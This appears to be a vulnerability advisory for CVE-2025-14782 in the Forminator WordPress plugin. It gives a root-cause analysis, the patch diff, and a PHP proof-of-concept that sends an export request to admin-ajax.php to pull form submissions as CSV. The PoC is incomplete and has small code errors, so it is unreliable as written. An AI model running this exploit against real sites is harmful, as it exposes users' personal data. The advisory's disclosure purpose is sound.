Atomic Edge analysis of CVE-2025-14782:
The vulnerability is a missing authorization check in the Forminator plugin for WordPress. It allows authenticated users with access to the Forminator dashboard to export form submission data without proper permission verification. This issue affects versions up to and including 1.49.1, with a CVSS score of 5.3.
Atomic Edge research identifies the root cause in the `listen_for_csv_export` function within the `class-export.php` file. The vulnerable code at line 107 used the `forminator_get_permission` function to check authorization. This function did not properly validate the user’s capability, allowing users with the ‘Forminator User’ role or higher to bypass the check. The authorization failure occurred before nonce verification.
An attacker exploits this by sending a POST request to the WordPress admin-ajax.php endpoint. The request must include the action parameter set to `forminator_export`. The attacker must also supply a valid `_forminator_nonce` parameter and the required `form_id` and `form_type` parameters to specify which form data to export. The attacker must be authenticated as a user with the ‘forminator_user’ role or any higher role that grants access to the Forminator dashboard.
The patch in version 1.49.2 modifies the `forminator/library/class-export.php` file. It replaces the `forminator_get_permission` call on line 107 with a call to `forminator_is_user_allowed`. This new function performs a proper capability check. The patch also adds explicit `wp_die` calls for both authorization and nonce verification failures, terminating script execution immediately instead of silently returning.
Successful exploitation leads to unauthorized disclosure of sensitive form submission data. Attackers can export CSV files containing all submissions for a targeted form. This data likely includes personally identifiable information (PII) such as names, email addresses, and any other custom field data collected by the form. The impact is a confidentiality breach and potential violation of data protection regulations.
--- a/forminator/constants.php
+++ b/forminator/constants.php
@@ -11,7 +11,7 @@
*/
if ( ! defined( 'FORMINATOR_VERSION' ) ) {
- define( 'FORMINATOR_VERSION', '1.49.1' );
+ define( 'FORMINATOR_VERSION', '1.49.2' );
}
if ( ! defined( 'FORMINATOR_SUI_VERSION' ) ) {
--- a/forminator/forminator.php
+++ b/forminator/forminator.php
@@ -1,14 +1,14 @@
<?php
/**
* Plugin Name: Forminator
- * Version: 1.49.1
+ * Version: 1.49.2
* Plugin URI: https://wpmudev.com/project/forminator/
* Description: Build powerful, customizable forms with ease using Forminator’s drag-and-drop builder, conditional logic, payment support, real-time analytics, and seamless integrations—no coding needed.
* Author: WPMU DEV
* Author URI: https://wpmudev.com
* Update URI: wordpress.org/plugins/forminator/
* Requires at least: 6.4
- * Tested up to: 6.8
+ * Tested up to: 6.9
* Requires PHP: 7.4
* Text Domain: forminator
* Domain Path: /languages/
--- a/forminator/library/class-export.php
+++ b/forminator/library/class-export.php
@@ -105,12 +105,14 @@
return;
}
- if ( ! forminator_get_permission( 'forminator-entries' ) ) {
+ if ( ! forminator_is_user_allowed( 'forminator-entries' ) ) {
+ wp_die( esc_html__( 'You are not allowed to export submissions.', 'forminator' ) );
return;
}
$nonce = Forminator_Core::sanitize_text_field( '_forminator_nonce' );
if ( ! wp_verify_nonce( $nonce, 'forminator_export' ) ) {
+ wp_die( esc_html__( 'Invalid nonce.', 'forminator' ) );
return;
}
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14782 - Forminator Forms – Contact Form, Payment Form & Custom Form Builder <= 1.49.1 - Missing Authorization to Authenticated (Forminator User+) CSV Export
<?php
// Configuration
$target_url = 'https://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS
$username = 'attacker'; // An existing user with 'forminator_user' role or higher
$password = 'password'; // The user's password
$form_id = 123; // The numeric ID of the target form
$form_type = 'custom_form'; // The form type (e.g., 'custom_form', 'quiz', 'poll')
// Step 1: Authenticate and obtain session cookies and a nonce.
// The nonce for the export action is typically available on the Forminator dashboard page.
// This PoC simulates a login and fetches a page where the nonce might be present.
// In a real scenario, an attacker would already be logged in and could extract the nonce from their dashboard.
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
]);
// Perform WordPress login (simplified - real login requires a nonce from the login form).
// This step is highly environment-dependent and omitted for brevity.
// Assume the attacker already has a valid session and a nonce.
// Step 2: Craft the exploit request.
// The attacker needs a valid nonce from a page where they have access (e.g., /wp-admin/admin.php?page=forminator).
// For this PoC, we assume the attacker has obtained a nonce value.
$assumed_nonce = 'abc123def456'; // This must be a valid nonce for the current user/session.
$post_fields = [
'action' => 'forminator_export',
'_forminator_nonce' => $assumed_nonce,
'form_id' => $form_id,
'form_type' => $form_type,
];
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_fields,
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Step 3: Interpret response.
if ($http_code === 200 && strpos($response, 'Content-Type: text/csv') !== false) {
echo "[+] Exploit successful. CSV data received.n";
// The response body would be the CSV file content.
echo $response;
} else {
echo "[-] Exploit failed. HTTP Code: $http_coden";
echo "Response: $responsen";
}
?>